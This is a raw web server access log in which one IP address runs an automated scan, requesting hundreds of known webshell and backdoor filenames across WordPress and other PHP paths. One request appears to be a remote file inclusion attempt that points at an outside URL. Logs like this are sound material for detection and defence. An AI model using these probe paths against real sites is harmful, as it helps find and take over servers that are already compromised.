"-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:25 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:27 -0400] "GET /wp-includes/rest-api/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:27 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:29 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:30 -0400] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:31 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:32 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:33 -0400] "GET /Js.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:33 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:34 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:36 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:37 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:38 -0400] "GET /feed-rss2-queue.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:39 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:40 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:41 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:42 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:44 -0400] "GET /404.php123123 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:45 -0400] "GET /exif.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:46 -0400] "GET /extractable-loader-head.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:47 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:48 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:49 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:50 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:51 -0400] "GET /wp-content/themes/twentyeleven/functions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:51 -0400] "GET /alumni_reg.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:52 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:54 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:54 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:55 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:56 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:57 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:58 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:58 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:41:59 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:00 -0400] "GET /wp-admin/css/colors/file.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:02 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:03 -0400] "GET /fi2.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:04 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:05 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:08 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:09 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:10 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:12 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:13 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:14 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:16 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:16 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:18 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:19 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:20 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:20 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:21 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:22 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:23 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:24 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:25 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:27 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:28 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:29 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:31 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:32 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:33 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:34 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:34 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:35 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:36 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:37 -0400] "GET /curl.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:37 -0400] "GET /alfa1.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:38 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:39 -0400] "GET /BIBIL_0DAY.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:39 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:40 -0400] "GET /eq2hbpgs.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:41 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:42 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:43 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:44 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:45 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:45 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:46 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:47 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:48 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:49 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:50 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:51 -0400] "GET /dxc.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:53 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:54 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:56 -0400] "GET /haiterus.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:57 -0400] "GET /fied.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:58 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:42:59 -0400] "GET /class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:00 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:02 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:04 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:06 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:08 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:11 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:12 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:13 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:14 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:15 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:16 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:18 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:19 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:21 -0400] "GET /83064.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:22 -0400] "GET /hkvkjguw.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:23 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:24 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:25 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:26 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:27 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:27 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:28 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:30 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:31 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:33 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:36 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:38 -0400] "GET /BIBIL0DAY.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:40 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:41 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:42 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:43 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:44 -0400] "GET /OthioNDwMEK.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:47 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:51 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:53 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:55 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:56 -0400] "GET /ewywe1dg.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:43:58 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:00 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:04 -0400] "GET /bypass.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:05 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:08 -0400] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:09 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:10 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:11 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:12 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:13 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:14 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:15 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:16 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:17 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:17 -0400] "GET /aksinet.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:18 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:20 -0400] "GET /wp-includes/SimplePie/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:21 -0400] "GET /aleXus.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:22 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:23 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:25 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:28 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:29 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:30 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:31 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:32 -0400] "GET /hyIPpxWDQ.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:34 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:34 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:36 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:37 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:39 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:40 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:42 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:44 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:45 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:45 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:46 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:47 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:48 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:48 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:49 -0400] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:50 -0400] "GET /wp-content/themes/twentytwenty/functions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:52 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:53 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:54 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:56 -0400] "GET /admin/uploads/worksec.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:57 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:59 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:44:59 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:00 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:01 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:01 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:02 -0400] "GET /aQzODIgoBr.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:04 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:06 -0400] "GET /Casper.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:09 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:10 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:12 -0400] "GET /wp-content/themes/twentythirteen/functions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:13 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:15 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:16 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:17 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:18 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:19 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:21 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:22 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:23 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:24 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:25 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:28 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:28 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:29 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:31 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:32 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:33 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:34 -0400] "GET /class-wp-cmd.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:35 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:36 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:37 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:38 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:39 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:39 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:40 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:41 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:42 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:43 -0400] "GET /embed.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:45 -0400] "GET //wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:45 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:46 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:48 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:48 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:50 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:50 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:51 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:53 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:53 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:54 -0400] "GET /wp-includes/widgets/themes.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:57 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:45:59 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:00 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:02 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:03 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - [30/Apr/2025:10:46:04 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.178.157.95 - - 